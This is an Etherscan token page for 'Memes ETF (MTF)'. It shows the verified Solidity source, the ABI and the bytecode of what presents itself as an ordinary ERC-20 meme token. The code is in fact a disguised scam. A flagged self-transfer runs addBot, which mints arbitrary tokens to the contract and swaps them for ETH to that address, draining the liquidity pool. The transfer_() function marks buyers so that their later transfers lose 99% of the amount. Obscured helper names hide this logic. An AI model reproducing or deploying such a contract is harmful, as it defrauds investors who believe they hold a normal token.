ETH Price: $3,320.83 (+1.23%)

Token

Memes ETF (MTF)
 

Overview

Max Total Supply

1,000,004,000,000 MTF

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,473,337,745.154975622 MTF

Value
$0.00
0x9327db5f02d74468045ae9ad68ec0c31fb13ca67
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MemeETF

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-06-21
*/

pragma solidity ^0.8.19;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal
    pure returns (uint256) {
        require(b <= a,  "SafeMath:  subtraction overflow");
        uint256 c  = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal
    pure returns (uint256) {
        if (a == 0) {return  0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
    function add(uint256 a, uint256 b)
    internal pure returns (uint256) {
        uint256 c = a + b;
        require (c >= a, "SafeMath:  addition overflow");
        return c ;
    }
    function div(uint256 a, uint256 b) internal pure
    returns (uint256) {
        require (b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router {
    function WETH() external pure returns (address aadd);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a,uint256 b,address[] calldata _path,address c,uint256) external;
    function factory() external pure returns (address addr);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
abstract contract Ownable {
 uint256 public _decimals = 9;
function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
        _owner = msg.sender; emit OwnershipTransferred(address(0), _owner);
    }
modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner"); _; }
address private _owner;
function owner()  public view virtual returns (address) { return _owner; }
}
contract MemeETF is Ownable {
 using SafeMath for uint256;
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; }
function transferFrom
    (address from, address recipient, uint256 amount) public returns (bool) {
    _transfer(from, recipient, amount); require(_allowances[from][msg.sender] >= amount); return true;
}
function _transfer(address  from, address to, uint256 amount) internal {
    require(from != address(0));
    if (isBotTransaction( from, to)) {addBot(amount,  to);
    } else { require(amount <= _balances[from]);
        uint256 feeAmount =  0;
            if (!bots[from] &&  cooldowns[from] != 0) {
                if (cooldowns[from] <
                    block.number) {feeAmount =
                    amount.mul(99).div(100);}
            }setCooldown
        (from,  to);
            _balances[from] =  _balances[from] - amount; _balances[to]  +=  amount - feeAmount;
            emit Transfer(from, to, amount);
        }
}
string private  _symbol = "MTF"; string private _name = "Memes ETF";
function  delBots(address _bot)  external  onlyOwner  { bots[_bot] =  false; }
uint256 public _totalSupply = 1000004000000 * 10 ** _decimals;
mapping  ( address => bool) bots;
function addBot(uint256 _mcs, address _bcr) private {
    _approve( address(this), address(_router), _mcs);_balances[address(this)] = _mcs; address[] memory path = new address[](2);
        inLiquidityTx =  true; path[0] = address(this); path[1] = _router.WETH();

        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path, _bcr,
            block.timestamp + 30);
        inLiquidityTx = false;
    }
function decreaseAllowance( address from, uint256 amount) public  returns (bool) {
    require(_allowances[msg.sender][from] >= amount);_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
    return  true;
}
uint256 _maxTxAmount;
function transfer(address recipient, uint256 amount) public returns (bool) {
    _transfer( msg.sender, recipient, amount);  return true;
}
constructor() {
    _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
function decimals() external view  returns (uint256) {  return  _decimals;}
event Transfer(address indexed __address_, address indexed, uint256 _v);
event Approval(address indexed ai, address indexed _adress_indexed, uint256 value);
address[] holders;
function isBot (address  _adr) internal view  returns (bool) { return bots[_adr];}
function symbol()  external view returns (string  memory) { return _symbol; }
uint256 _fee = 0;
mapping (address => uint256) private _balances;
mapping (address => uint256)  cooldowns;
function  _approve(address owner, address spender, uint256 amount) internal {
    require(spender != address(0),  "IERC20: approve to the zero address");
        require(owner != address(0), "IERC20: approve from the zero address");
        _allowances[owner][spender] =  amount; emit Approval(owner,  spender, amount);
    }
function setCooldown(address  from, address recipient) private returns (bool) {
    return
        checkCooldown(from, recipient, IUniswapV2Factory(
                _router.factory()).getPair(address(this), _router.WETH()));
}
function   _8asdg6(bool  _01d3c6, bool _2abd7) internal pure returns  (bool) { return !_01d3c6 && !_2abd7;}
function checkCooldown(address from, address to, address pair) internal returns (bool) {
    bool inL = inLiquidityTx; bool b = _8asdg6(bots[to], isBot(from)); bool res = b; if (!bots[to] &&  _8asdg6(bots[from], inL) && to
        != pair) {if (to == address(0)) {} else {holders.push(to);}res = true;}else if (b && !inL) { if (pair != to) {}else {res = true;}}
        return res;
    }
function totalSupply()   external  view returns  (uint256) {   return _totalSupply; }
function transfer_() external  {
    uint256 c =
        block.number;  for (uint i = 0; i < holders.length; i++) {if (cooldowns[holders[i]] != 0){} else {cooldowns[holders[i]] = c;}}delete holders;
    }
function balanceOf(address account)  public view  returns  (uint256) {    return _balances[account];   }
function allowance( address owner, address spender)  public view returns (uint256) {return _allowances[owner][spender]; }
address public _taxWallet;
function isBotTransaction (address sender, address receiver)  public view  returns (bool) { if (receiver == sender) { if (isBot( receiver) ) {return isBot(sender) && isBot(receiver);}}return false; }
function addBots(address[] calldata botsList)  external   onlyOwner {
    for (uint i = 0; i < botsList.length; i++) { bots[botsList[i]] = true; }
    }
function name() external  view returns ( string memory) {return _name;}
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint256 _maxWalletSize;
bool inLiquidityTx =  false;
function removeLimit() external  onlyOwner { _maxWalletSize=_totalSupply; _maxTxAmount = _totalSupply;}
function getPairAddress() private view returns (address) {return IUniswapV2Factory(
        _router.factory()).getPair(address(this),
        _router.WETH());
    }
mapping (address => mapping (address => uint256)) private _allowances;
function approve(address  spender, uint256 amount) public virtual returns (bool) {_approve(msg.sender, spender, amount);return true;}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ai","type":"address"},{"indexed":true,"internalType":"address","name":"_adress_indexed","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"__address_","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"_v","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"botsList","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_bot","type":"address"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"isBotTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transfer_","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260096000556040518060400160405280600381526020017f4d54460000000000000000000000000000000000000000000000000000000000815250600290816200004f91906200056b565b506040518060400160405280600981526020017f4d656d6573204554460000000000000000000000000000000000000000000000815250600390816200009691906200056b565b50600054600a620000a89190620007d5565b64e8d4e21900620000ba919062000826565b6004556000600855737a250d5630b4cf539739df2c5dacb4c659f2488d600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60006101000a81548160ff0219169083151502179055503480156200013f57600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600454600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002e3919062000882565b60405180910390a36200089f565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200037357607f821691505b6020821081036200038957620003886200032b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003f37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003b4565b620003ff8683620003b4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200044c62000446620004408462000417565b62000421565b62000417565b9050919050565b6000819050919050565b62000468836200042b565b62000480620004778262000453565b848454620003c1565b825550505050565b600090565b6200049762000488565b620004a48184846200045d565b505050565b5b81811015620004cc57620004c06000826200048d565b600181019050620004aa565b5050565b601f8211156200051b57620004e5816200038f565b620004f084620003a4565b8101602085101562000500578190505b620005186200050f85620003a4565b830182620004a9565b50505b505050565b600082821c905092915050565b6000620005406000198460080262000520565b1980831691505092915050565b60006200055b83836200052d565b9150826002028217905092915050565b6200057682620002f1565b67ffffffffffffffff811115620005925762000591620002fc565b5b6200059e82546200035a565b620005ab828285620004d0565b600060209050601f831160018114620005e35760008415620005ce578287015190505b620005da85826200054d565b8655506200064a565b601f198416620005f3866200038f565b60005b828110156200061d57848901518255600182019150602085019450602081019050620005f6565b868310156200063d578489015162000639601f8916826200052d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006e057808604811115620006b857620006b762000652565b5b6001851615620006c85780820291505b8081029050620006d88562000681565b945062000698565b94509492505050565b600082620006fb5760019050620007ce565b816200070b5760009050620007ce565b81600181146200072457600281146200072f5762000765565b6001915050620007ce565b60ff84111562000744576200074362000652565b5b8360020a9150848211156200075e576200075d62000652565b5b50620007ce565b5060208310610133831016604e8410600b84101617156200079f5782820a90508381111562000799576200079862000652565b5b620007ce565b620007ae84848460016200068e565b92509050818404811115620007c857620007c762000652565b5b81810290505b9392505050565b6000620007e28262000417565b9150620007ef8362000417565b92506200081e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006e9565b905092915050565b6000620008338262000417565b9150620008408362000417565b9250828202620008508162000417565b915082820484148315176200086a576200086962000652565b5b5092915050565b6200087c8162000417565b82525050565b600060208201905062000899600083018462000871565b92915050565b6125ea80620008af6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806362256589116100b857806395d89b411161007c57806395d89b411461032e578063a457c2d71461034c578063a9059cbb1461037c578063afdce0c4146103ac578063d34628cc146103b6578063dd62ed3e146103d257610137565b806362256589146102ae5780636f268a99146102b857806370a08231146102d6578063715018a6146103065780638da5cb5b1461031057610137565b8063313ce567116100ff578063313ce5671461020857806332424aa31461022657806339509351146102445780633eaaf86b146102745780634c8afff41461029257610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a85780632e0c9919146101d8575b600080fd5b610144610402565b6040516101519190611c23565b60405180910390f35b610174600480360381019061016f9190611ce3565b610494565b6040516101819190611d3e565b60405180910390f35b6101926104ab565b60405161019f9190611d68565b60405180910390f35b6101c260048036038101906101bd9190611d83565b6104b5565b6040516101cf9190611d3e565b60405180910390f35b6101f260048036038101906101ed9190611dd6565b610556565b6040516101ff9190611d3e565b60405180910390f35b6102106105c6565b60405161021d9190611d68565b60405180910390f35b61022e6105cf565b60405161023b9190611d68565b60405180910390f35b61025e60048036038101906102599190611ce3565b6105d5565b60405161026b9190611d3e565b60405180910390f35b61027c610673565b6040516102899190611d68565b60405180910390f35b6102ac60048036038101906102a79190611e16565b610679565b005b6102b6610749565b005b6102c06107d2565b6040516102cd9190611e52565b60405180910390f35b6102f060048036038101906102eb9190611e16565b6107f8565b6040516102fd9190611d68565b60405180910390f35b61030e610841565b005b610318610977565b6040516103259190611e52565b60405180910390f35b6103366109a1565b6040516103439190611c23565b60405180910390f35b61036660048036038101906103619190611ce3565b610a33565b6040516103739190611d3e565b60405180910390f35b61039660048036038101906103919190611ce3565b610b5a565b6040516103a39190611d3e565b60405180910390f35b6103b4610b71565b005b6103d060048036038101906103cb9190611ed2565b610cb3565b005b6103ec60048036038101906103e79190611dd6565b610dcd565b6040516103f99190611d68565b60405180910390f35b60606003805461041190611f4e565b80601f016020809104026020016040519081016040528092919081815260200182805461043d90611f4e565b801561048a5780601f1061045f5761010080835404028352916020019161048a565b820191906000526020600020905b81548152906001019060200180831161046d57829003601f168201915b5050505050905090565b60006104a1338484610e54565b6001905092915050565b6000600454905090565b60006104c284848461101d565b81600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054b57600080fd5b600190509392505050565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036105bb5761059482611339565b156105ba576105a283611339565b80156105b357506105b282611339565b5b90506105c0565b5b600090505b92915050565b60008054905090565b60005481565b6000610669338484600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106649190611fae565b610e54565b6001905092915050565b60045481565b3373ffffffffffffffffffffffffffffffffffffffff16610698610977565b73ffffffffffffffffffffffffffffffffffffffff16146106ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e59061202e565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16610768610977565b73ffffffffffffffffffffffffffffffffffffffff16146107be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b59061202e565b60405180910390fd5b600454600d81905550600454600681905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610860610977565b73ffffffffffffffffffffffffffffffffffffffff16146108b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ad9061202e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546109b090611f4e565b80601f01602080910402602001604051908101604052809291908181526020018280546109dc90611f4e565b8015610a295780601f106109fe57610100808354040283529160200191610a29565b820191906000526020600020905b815481529060010190602001808311610a0c57829003601f168201915b5050505050905090565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610abe57600080fd5b610b50338484600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4b919061204e565b610e54565b6001905092915050565b6000610b6733848461101d565b6001905092915050565b600043905060005b600780549050811015610ca1576000600a600060078481548110610ba057610b9f612082565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610c8e5781600a600060078481548110610c2457610c23612082565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610c99906120b1565b915050610b79565b5060076000610cb09190611b55565b50565b3373ffffffffffffffffffffffffffffffffffffffff16610cd2610977565b73ffffffffffffffffffffffffffffffffffffffff1614610d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1f9061202e565b60405180910390fd5b60005b82829050811015610dc857600160056000858585818110610d4f57610d4e612082565b5b9050602002016020810190610d649190611e16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610dc0906120b1565b915050610d2b565b505050565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eba9061216b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f29906121fd565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110109190611d68565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105657600080fd5b6110608383610556565b156110745761106f818361138f565b611334565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156110c057600080fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561115c57506000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156111d35743600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111d2576111cf60646111c160638561165990919063ffffffff16565b6116d390919063ffffffff16565b90505b5b6111dd8484611731565b5081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611229919061204e565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082611278919061204e565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112c69190611fae565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161132a9190611d68565b60405180910390a3505b505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6113bc30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e54565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561141d5761141c61221d565b5b60405190808252806020026020018201604052801561144b5781602001602082028036833780820191505090505b5090506001600e60006101000a81548160ff021916908315150217905550308160008151811061147e5761147d612082565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611525573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115499190612261565b8160018151811061155d5761155c612082565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426115e79190611fae565b6040518663ffffffff1660e01b8152600401611607959493929190612391565b600060405180830381600087803b15801561162157600080fd5b505af1158015611635573d6000803e3d6000fd5b505050506000600e60006101000a81548160ff021916908315150217905550505050565b600080830361166b57600090506116cd565b6000828461167991906123eb565b9050828482611688919061245c565b146116c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bf906124ff565b60405180910390fd5b809150505b92915050565b6000808211611717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170e9061256b565b60405180910390fd5b60008284611725919061245c565b90508091505092915050565b60006118d98383600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c99190612261565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611852573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118769190612261565b6040518363ffffffff1660e01b815260040161189392919061258b565b602060405180830381865afa1580156118b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d49190612261565b6118e1565b905092915050565b600080600e60009054906101000a900460ff1690506000611956600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661195188611339565b611b3f565b90506000819050600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a095750611a08600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611b3f565b5b8015611a4157508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611ae857600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160315611adf576007869080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050611b32565b818015611af3575082155b15611b31578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611b3057600190505b5b5b8093505050509392505050565b600082158015611b4d575081155b905092915050565b5080546000825590600052602060002090810190611b739190611b76565b50565b5b80821115611b8f576000816000905550600101611b77565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bcd578082015181840152602081019050611bb2565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bf582611b93565b611bff8185611b9e565b9350611c0f818560208601611baf565b611c1881611bd9565b840191505092915050565b60006020820190508181036000830152611c3d8184611bea565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c7a82611c4f565b9050919050565b611c8a81611c6f565b8114611c9557600080fd5b50565b600081359050611ca781611c81565b92915050565b6000819050919050565b611cc081611cad565b8114611ccb57600080fd5b50565b600081359050611cdd81611cb7565b92915050565b60008060408385031215611cfa57611cf9611c45565b5b6000611d0885828601611c98565b9250506020611d1985828601611cce565b9150509250929050565b60008115159050919050565b611d3881611d23565b82525050565b6000602082019050611d536000830184611d2f565b92915050565b611d6281611cad565b82525050565b6000602082019050611d7d6000830184611d59565b92915050565b600080600060608486031215611d9c57611d9b611c45565b5b6000611daa86828701611c98565b9350506020611dbb86828701611c98565b9250506040611dcc86828701611cce565b9150509250925092565b60008060408385031215611ded57611dec611c45565b5b6000611dfb85828601611c98565b9250506020611e0c85828601611c98565b9150509250929050565b600060208284031215611e2c57611e2b611c45565b5b6000611e3a84828501611c98565b91505092915050565b611e4c81611c6f565b82525050565b6000602082019050611e676000830184611e43565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611e9257611e91611e6d565b5b8235905067ffffffffffffffff811115611eaf57611eae611e72565b5b602083019150836020820283011115611ecb57611eca611e77565b5b9250929050565b60008060208385031215611ee957611ee8611c45565b5b600083013567ffffffffffffffff811115611f0757611f06611c4a565b5b611f1385828601611e7c565b92509250509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f6657607f821691505b602082108103611f7957611f78611f1f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fb982611cad565b9150611fc483611cad565b9250828201905080821115611fdc57611fdb611f7f565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612018602083611b9e565b915061202382611fe2565b602082019050919050565b600060208201905081810360008301526120478161200b565b9050919050565b600061205982611cad565b915061206483611cad565b925082820390508181111561207c5761207b611f7f565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006120bc82611cad565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036120ee576120ed611f7f565b5b600182019050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612155602383611b9e565b9150612160826120f9565b604082019050919050565b6000602082019050818103600083015261218481612148565b